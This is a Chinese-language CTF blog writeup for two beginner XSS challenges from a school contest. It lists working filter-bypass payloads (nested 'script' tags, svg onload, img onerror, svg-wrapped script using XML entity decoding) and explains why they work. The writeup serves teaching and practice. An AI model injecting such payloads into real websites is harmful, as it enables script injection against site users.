hctf_game_week2_writeup

ctf Blogs

 2016/02/18 

假期难得有时间空闲下来，就和协会的小伙伴组织了一次比较简单的ctf比赛针对学校的学弟学妹们，这里就贴上每一次的writeup，以供整理复习用。

WEB

WEB从0开始之xss challenge0.5 POINT: 20 DONE

题目ID： 56
题目描述： http://115.28.78.16/xss/xss0.5/index.php
1、成功执行prompt(1).
2、payload不需要用户交互
3、payload必须对下述浏览器有效： Chrome(最新版) - Firefox(最新版)
4、将有效payload发送给LoRexxar或者大飞客获取flag
Hint: 暂无HINT

就是个简单的xss入门题目，仅仅过滤了script，而且只是一次过滤，有一万种方法让他弹窗。

<scrscriptipt>prompt(1)</scrscriptipt>
<svg/onload=prompt(1)
<img src onerror=prompt(1)

这些都可以

WEB从0开始之xss challenge1 POINT: 100 DONE

题目ID： 57
题目描述： http://115.28.78.16/xss/xss1/index.php
1、成功执行prompt(1).
2、payload不需要用户交互
3、payload必须对下述浏览器有效： Chrome(最新版) - Firefox(最新版)
4、将有效payload发送给LoRexxar或者大飞客获取flag
Hint: 暂无HINT

题目很简单，但是我估计80%的人都不知道是什么原理，先给出两种payload
<svg><script>prompt(1)</script>
<script>prompt反引号1反引号</script>(妹的我发现md语法这个反引号有用打不出来)

这里的svg不能去掉，由于xml编码特性。在SVG向量里面的script元素（或者其他CDATA元素），会先进行xml解析。因此&#x28（十六进制）或者&#40（十进制）或者&lpar；（html实体编码）会被还原成（。